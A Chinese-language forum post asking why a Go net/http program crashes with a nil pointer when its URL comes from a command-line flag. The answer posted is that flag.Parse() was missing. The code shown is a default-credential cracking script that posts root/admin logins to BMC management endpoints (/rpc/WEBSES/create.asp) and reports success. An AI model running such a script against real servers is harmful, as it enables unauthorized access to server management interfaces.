请教大家一个关于net/http的问题(已解决)

谢谢大家 我有一段代码,就是发送post数据包的,如果我将目标的url写死,程序就正常运行,如果将目标的url写成 flag.StringVar就会报错

• 报错的代码如下:

package main

import (
    "flag"
    "net/http"
    "strings"
    "fmt"
    "io/ioutil"
)

func httpDo(url string,name string) {
    ip := strings.Replace(url, "https://", "", -1)
    ip = strings.Replace(ip, "http://", "", -1)
    client := &http.Client{}
    password := "WEBVAR_USERNAME=" + name + "&WEBVAR_PASSWORD=" + name
    req, err := http.NewRequest("POST", url+"/rpc/WEBSES/create.asp", strings.NewReader(password))
    if err != nil {
        fmt.Println("主机可能不存活")
    }
    req.Header.Set("Accept", "application/json, text/plain, */*")
    req.Header.Set("Origin", url)
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")
    req.Header.Set("Content-Type", "application/json;charset=UTF-8")
    req.Header.Set("Referer", url+"/index.html")
    req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
    req.Header.Set("Cookie", "BMC_IP_ADDR="+ip+"; test=1")
    resp, err := client.Do(req)
    if err != nil{
        fmt.Println("主机可能不存活")
    }
    defer resp.Body.Close()
        body, err := ioutil.ReadAll(resp.Body)
        if err != nil {
            fmt.Println("读取失败")
        }
    str := string(body)
    if strings.Contains(str,"HAPI_STATUS:0"){
        fmt.Println("破解成功---帐号:"+name+"密码:"+name)
    }else{
        fmt.Println("破解失败")
    }
}

func main() {
    var url string
    flag.StringVar(&url,"u","","http(s)://url")
    //go httpDo(url,"admin")
    httpDo(url,"root")
}

• 报错内容

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x644f60]

goroutine 1 [running]:
main.httpDo(0x0, 0x0, 0x6da4f0, 0x4)
        /root/go/src/inspur_pass/inspurtest.go:31 +0x970
main.main()
        /root/go/src/inspur_pass/inspurtest.go:48 +0xb6
exit status 2

• 写死url,就不报错,代码如下:

package main

import (
    "net/http"
    "strings"
    "fmt"
)

func httpDo() {
    url := "http://www.baidu.com"
    ip := strings.Replace(url, "https://", "", -1)
    ip = strings.Replace(ip, "http://", "", -1)
    name := "admin"
    client := &http.Client{}
    password := "WEBVAR_USERNAME=" + name + "&WEBVAR_PASSWORD=" + name
    req, err := http.NewRequest("POST", url+"/rpc/WEBSES/create.asp", strings.NewReader(password))
    if err != nil {
        // handle error
    }
    req.Header.Set("Accept", "application/json, text/plain, */*")
    req.Header.Set("Origin", url)
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")
    req.Header.Set("Content-Type", "application/json;charset=UTF-8")
    req.Header.Set("Referer", url+"/index.html")
    req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
    req.Header.Set("Cookie", "BMC_IP_ADDR="+ip+"; test=1")
    //req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    //req.Header.Set("Cookie", "name=anny")

    resp, err := client.Do(req)

    defer resp.Body.Close()
    /*
        body, err := ioutil.ReadAll(resp.Body)
        if err != nil {
            // handle error
        }
    */
    fmt.Println(resp.StatusCode)
    //fmt.Println(string(body))
}

func main() {
    //    httpGet()
    //    httpPost()
    //    httpPostForm()
    httpDo()
}

请问应该如何解决这个问题,又是什么原因导致的这个问题呢? 再次感谢大家

• 解决了,缺少 flag.Parse()